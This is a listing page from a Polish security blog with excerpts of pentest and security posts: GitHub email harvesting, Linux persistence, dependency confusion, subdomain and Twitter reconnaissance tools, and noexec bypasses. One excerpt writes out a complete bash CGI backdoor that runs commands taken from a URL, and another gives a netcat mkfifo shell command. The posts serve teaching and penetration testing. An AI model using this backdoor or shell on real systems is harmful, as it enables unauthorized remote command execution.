Napisał: Patryk Krawaczyński
10/06/2021 w Bezpieczeństwo
B
ardzo wiele firm utrzymuje repozytoria publicznych projektów na popularnych serwisach takich jak Github oraz Gitlab. Na przykład listę loginów poszczególnych użytkowników w serwisie Github można uzyskać bardzo łatwo – wystarczy odwiedzić adres: https://github.com/orgs/$firma/people.
Plus iterując po poszczególnych projektach: https://github.com/$firma/$projekt/graphs/contributors można zebrać dość dużą ilość unikatowych użytkowników. Gdzie następuje wyciek? Otóż Github używa adresów e-mail powiązanych z kontem Github (można mieć ich więcej niż jeden – a często na jednym koncie łączy się prywatne i firmowe adresy) przy zatwierdzaniu kodu (ang. commit) oraz innych aktywnościach w profilu użytkownika. Kiedy użytkownik zatwierdza kod w publicznym repozytorium jego adres e-mail jest publikowany i staje się publicznie dostępny.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
13/04/2021 w Bezpieczeństwo, Pen Test
W
yobraźmy sobie taki scenariusz – jesteś członkiem zespołu Red Team, który ma kompetencje w zakresie systemu Linux. Twoim zadaniem jest opracowanie ćwiczenia, w którym musisz zachować dostęp do skompromitowanego systemu przez jak najdłuższy czas. Posiadając uprawnienia administratora myślisz o dodaniu jakiegoś zadania w cron
lub innej klasycznej lokalizacji (np. rc.local
), ale wiesz że Blue Team je systematycznie sprawdza. Przez chwilę myślisz o doczepieniu tylnej furki jakieś binarce, tylko problem w tym, że dostęp ma być utrzymany jak najdłużej, a skompromitowana maszyna jest ustawiona na regularną aktualizację łatek bezpieczeństwa, więc wszelkie pliki wykonawcze lub inne krytyczne komponenty systemu mogą zostać nadpisane wersjami domyślnymi.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
11/02/2021 w Ataki Internetowe
Z
amieszanie w zależnościach pakietów (ang. dependency confusion) jest nowatorką metodą ataku na łańcuch dostaw (ang. supply chain attack). Atak na łańcuch dostaw (zwany także atakiem od trzeciej strony) ma miejsce, gdy ktoś infiltruje Twój system za pośrednictwem zewnętrznego partnera lub dostawcy, który ma dostęp do Twoich systemów i danych. Na przykład Twoja firma korzysta z jego oprogramowania lub usług, które dają mu dostęp do Twojej sieci. Gdy dochodzi do przełamania zabezpieczeń u partnera – atakujący jest w stanie rozprzestrzenić wektor ataku na wszystkich klientów danej firmy. Znaczenie tego ataku dla typowego przedsiębiorstwa w ciągu ostatnich kilku lat znacznie się zmieniło, ponieważ coraz więcej dostawców i usługodawców się integruje i dotyka wzajemnie wrażliwych danych. Ryzyko związane z łańcuchem dostaw nigdy nie było wyższe ze względu na nowe rodzaje ataków, co pokazuje zamieszanie w zależnościach pakietów. Rosnąca świadomość społeczna na temat zagrożeń powoli spycha napastników na nowy kierunek masowego rażenia. Dobrym przykładem jest niedawny atak SolarWinds.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
20/11/2020 w Pen Test
O
neForAll jest narzędziem służącym do odkrywania subdomen z wielu źródeł. Dzięki chińskiemu kontekstowi (developmentu) może zapewnić czasami przewagę nad tradycyjnymi narzędziami i serwisami służącymi do tego celu. Potrafi wykorzystać kilka egzotycznych chińskich źródeł danych, których inne narzędzia zwykle nie przeszukują np. FOFA, Baidu Cloud Observation, Gitee, ChinaZ Alexa oraz inne. Zwiększa to szanse na znalezienie unikalnych, wcześniej nieodkrytych punktów wejścia podczas pracy zwiadowczej. Sam kod narzędzia potrafi dostarczyć nam wiele adresów oraz innych narzędzi wykorzystywanych w tym procesie. W celu wykorzystania jego pełnego potencjału należy przejrzeć do jakich serwisów wymaga kluczy API umożliwiających odpytywanie różne serwisy.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
16/11/2020 w Hacks & Scripts
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'spc=" "' >> ./cgi-bin/backdoor.cgi
echo 'str=$1' >> ./cgi-bin/backdoor.cgi
echo 'cmd=$(echo "${str//XXX/$spc}")' >> ./cgi-bin/backdoor.cgi
echo 'printf '"'"'%s\n'"'"' "$($cmd)"' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
curl "http://localhost:8000/cgi-bin/backdoor.cgi?unameXXX-a"
Darwin johhny5 19.6.0 Darwin Kernel Version 19.6.0: Thu Oct 29 22:56:45 PDT 2020;
root:xnu-6153.141.2.2~1/RELEASE_X86_64 x86_64
Więcej informacji: Mark Baggett github gist
Napisał: Patryk Krawaczyński
29/09/2020 w Pen Test
K
iedy wykonujemy program Python to w tle wykonuje się najpierw kompilacja kodu źródłowego (instrukcje znajdujące się w danym pliku .py
) do formatu zwanego jako kod bajtowy. Kompilacja to proces tłumaczenia kodu na inny format, a w tym wypadku kod bajtowy jest niskopoziomową, niezależną od platformy reprezentacją kodu źródłowego. Język programowania Python przekłada każdą z instrukcji źródłowych na grupę instrukcji kodu bajtowego poprzez podzielenie ich na pojedyncze kroki. Proces przekładania kodu źródłowego na kod bajtowy odbywa się z myślą o szybkości wykonania – kod bajtowy może działać o wiele szybciej od oryginalnych instrukcji z kodu źródłowego zawartego w pliku tekstowym.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
07/12/2019 w Bezpieczeństwo
W
historii rozwoju Linuksa znalazło się kilka sposobów na obejście ograniczeń montowania przez atakującego. Najprostszy był możliwy w Linuksie przed 2.4.25 / 2.6.0, gdzie opcję noexec
można było ominąć używając /lib/ld-linux.so do wykonywania plików binarnych znajdujących się w ścieżkach takich systemów plików:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/12/2018 w Pen Test
Z
ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!
Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab
oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:
agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
15/08/2017 w Administracja
J
ason Geffer z Google stworzył mały skrypt w języku Python, który jest podobny do cuttera. Potrafi zerwać połączenie TCP w systemach Linux oraz MacOS. Wystarczy skopiować lokalny oraz zdalny adres z polecenia netstat -lanW
:
apt install python-pip
pip install frida
wget https://raw.githubusercontent.com/google/tcp_killer/master/tcp_killer.py
chmod +x tcp_killer.py
python tcp_killer.py 127.0.0.1:12345 127.0.0.1:48882
Więcej informacji: tcp_killer
Napisał: Patryk Krawaczyński
11/09/2016 w Pen Test
T
infoleak jest prostym skryptem napisanym w języku Python, który pozwala na uzyskanie takich informacji o użytkowniku Twittera, jak:
- podstawowe informacje: nazwę, zdjęcie, lokacje, śledzących itp.,
- urządzenia oraz systemy operacyjne,
- aplikacje oraz używane inne media społecznościowe,
- odwiedzane miejsca oraz dane geolokalizacyjne,
- analizę hashtagów, wspomnień i wiele innych…
Oczywiście informacje te uzależnione są od ustawień konta, jakie wybrał dany użytkownik Twitter’a. Przejdźmy do procesu instalacji i przykładowego użycia skryptu.
[ czytaj całość… ]
Ostatni komentarz :